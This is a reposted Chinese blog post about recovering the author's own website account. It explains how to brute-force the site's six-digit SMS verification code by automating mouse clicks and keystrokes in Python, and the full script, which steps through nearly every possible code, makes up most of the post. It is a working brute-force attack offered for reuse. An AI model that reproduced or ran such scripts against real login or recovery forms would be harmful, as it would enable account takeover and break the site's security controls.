我是靠谱客的博主 疯狂猫咪,最近开发中收集的这篇文章主要介绍使用python暴力破解验证码一、需求介绍二、破解思路三、python模拟鼠标和键盘操作四、具体代码,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

一、需求介绍

今天遇到一个棘手的问题,就是之前注册某网站的手机号码已经被我弃用了,我也忘记了密码,而改密码需要验证码,验证码发送之后,却接受不到。所以我需要暴力破解。

二、破解思路

验证码是六位数字,所以一共有100万种可能,我想采用暴力法进行破解,先人肉破解,大概分成以下几个步骤:

  • 点击验证码输入框
  • 退格键删除之前错误的验证码
  • 输入新的验证码
  • 点击提交按钮

依次循环,直到验证码正确打开网站。人肉输入显然太累了,所以我们需要脚本

三、python模拟鼠标和键盘操作

我Baidu了一下,发现python中有pymouse和pykeyboard这两个库,于是兴奋的我就迫不及待的开始了尝试,然而编程的道路永远是波澜曲折,在安装时就会遇到问题,具体的问题我就不展开了,参考这篇博客可以解决No module named 'windows’的问题;再参考这篇博客,我们可以得到这两个库的常见使用方法。因为验证码是字符串,所以我们还需要把数字转换为头部补零的字符串,这个操作可以参考这篇博客。

四、具体代码

有了这些知识,再加上一些随机函数,我们就可以把代码写出来了,具体代码如下:

from pymouse import PyMouse			# 模拟鼠标
from pykeyboard import PyKeyboard	# 模拟键盘
import time
import random

def get_time_interval():
	return random.random()*0.1+0.1

def get_waiting_time():
	return random.random()*1+4
# 定义实例
mouse = PyMouse()
keyboard = PyKeyboard()
time_interval = 0.1

for i in range(106,1000000):
	vericode = '{:0>6d}'.format(i)
	print(vericode)
	mouse.click(800,530,button=1,n=1)#button=1表示左键,n=1表示单击
	time.sleep(get_time_interval())
	keyboard.tap_key(keyboard.backspace_key,n=6)
	time.sleep(get_time_interval())
	keyboard.type_string(vericode)
	mouse.click(1000,940,button=1,n=1)
	time.sleep(get_waiting_time())

运行之后,我们就看到这样的效果:请添加图片描述

接下来就是蛮长的等待了,毕竟100万个码,要等到猴年马月了。[捂脸]

最后

以上就是疯狂猫咪为你收集整理的使用python暴力破解验证码一、需求介绍二、破解思路三、python模拟鼠标和键盘操作四、具体代码的全部内容,希望文章能够帮你解决使用python暴力破解验证码一、需求介绍二、破解思路三、python模拟鼠标和键盘操作四、具体代码所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(42)

评论列表共有 0 条评论

立即
投稿
返回
顶部